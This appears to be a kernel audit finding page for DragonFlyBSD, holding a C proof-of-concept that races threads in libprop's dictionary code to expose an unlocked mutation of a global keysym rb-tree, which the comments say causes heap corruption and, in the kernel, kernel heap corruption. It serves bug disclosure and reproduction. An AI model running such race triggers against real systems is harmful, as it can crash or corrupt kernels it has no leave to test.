โฌข DragonFlyBSD Kernel Audit
DF-5674 / race_keysym.c
โ† back to finding โ†“ download raw
/*
 * DF-5674 PoC โ€” prop_dictionary keysym free mutates the GLOBAL rb-tree
 * (_prop_dict_keysym_tree) WITHOUT holding _prop_dict_keysym_tree_mutex.
 *
 * In sys/libprop/prop_dictionary.c the keysym object type
 * (_prop_object_type_dict_keysym, prop_dictionary.c:148) registers no
 * pot_lock/pot_unlock.  prop_object_release() (prop_object.c:1077) only
 * takes po_type->pot_lock around pot_free; for a keysym that is NULL, so
 * when the refcount hits zero outside of a dictionary-type free,
 * _prop_dict_keysym_free() (prop_dictionary.c:234-242) runs
 * _prop_rb_tree_remove_node(&_prop_dict_keysym_tree, pdk) on the shared
 * global tree with NO mutex.
 *
 * Unprotected release paths:
 *   - prop_dictionary_remove() -> _prop_dictionary_remove()
 *       prop_dictionary.c:1082-1107 (release at :1104)
 *   - releasing a prop_array that holds keysyms (prop_dictionary_all_keys
 *     result): array type also has no pot_lock (prop_array.c:72-80)
 *
 * Protected (mutex-holding) opponents:
 *   - _prop_dict_keysym_alloc() find/insert  prop_dictionary.c:294-341
 *   - _prop_dictionary_free() releases keysyms under the global mutex
 *     held as the *dictionary* type's pot_lock.
 *
 * This harness races them from multiple threads.  Keysyms are process
 * global, so two dictionaries using the same key string share one keysym.
 * Crash (SIGSEGV in rb tree walk / malloc heap corruption) = the
 * unsynchronized tree mutation is real.
 *
 * Same source compiles into the DragonFly kernel (sys/libprop is built
 * into the kernel) โ€” there the corruption is kernel heap corruption.
 */
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libprop/proplib.h>

#define	NKEYS		96
#define	NREMOVERS	3
#define	NALLOCERS	2
#define	ITERS		400000

static char keys[NKEYS][24];

static prop_string_t shared_str;

/* Thread R: set + remove โ€” the remove path is the UNLOCKED keysym free */
static void *
remover(void *arg)
{
	int it, i;

	for (it = 0; it < ITERS; it++) {
		prop_dictionary_t d = prop_dictionary_create();
		if (d == NULL)
			break;
		for (i = 0; i < NKEYS; i++)
			prop_dictionary_set(d, keys[i], shared_str);
		for (i = 0; i < NKEYS; i++)
			prop_dictionary_remove(d, keys[i]);
		prop_object_release(d);
	}
	return NULL;
}

/* Thread A: set + release โ€” alloc (find/insert) and dict free are LOCKED */
static void *
allocer(void *arg)
{
	int it, i;

	for (it = 0; it < ITERS; it++) {
		prop_dictionary_t d = prop_dictionary_create();
		if (d == NULL)
			break;
		for (i = 0; i < NKEYS; i++)
			prop_dictionary_set(d, keys[i], shared_str);
		prop_object_release(d);
	}
	return NULL;
}

int
main(void)
{
	pthread_t thr[NREMOVERS + NALLOCERS];
	int i, rv = 0;

	for (i = 0; i < NKEYS; i++)
		snprintf(keys[i], sizeof(keys[i]), "key%04d", i * 7 % NKEYS);

	shared_str = prop_string_create_cstring("value");
	if (shared_str == NULL) {
		fprintf(stderr, "alloc failed\n");
		return 2;
	}

	/* warm the tree so it has real depth */
	{
		prop_dictionary_t d = prop_dictionary_create();
		for (i = 0; i < NKEYS; i++)
			prop_dictionary_set(d, keys[i], shared_str);
		fprintf(stderr, "warm dict: %u keys\n", prop_dictionary_count(d));
		prop_object_release(d);	/* keysyms now hit refcnt 0 via LOCKED path */
	}

	for (i = 0; i < NREMOVERS; i++)
		pthread_create(&thr[i], NULL, remover, NULL);
	for (i = 0; i < NALLOCERS; i++)
		pthread_create(&thr[NREMOVERS + i], NULL, allocer, NULL);

	for (i = 0; i < NREMOVERS + NALLOCERS; i++)
		pthread_join(thr[i], NULL);

	printf("survived: no corruption observed this run\n");
	return rv;
}